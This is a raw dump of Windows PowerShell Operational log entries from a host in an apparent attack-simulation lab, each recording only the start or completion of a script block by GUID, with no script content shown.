ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048261
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048256
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048255
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048231
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048229
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048228
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048219
Keywords=None
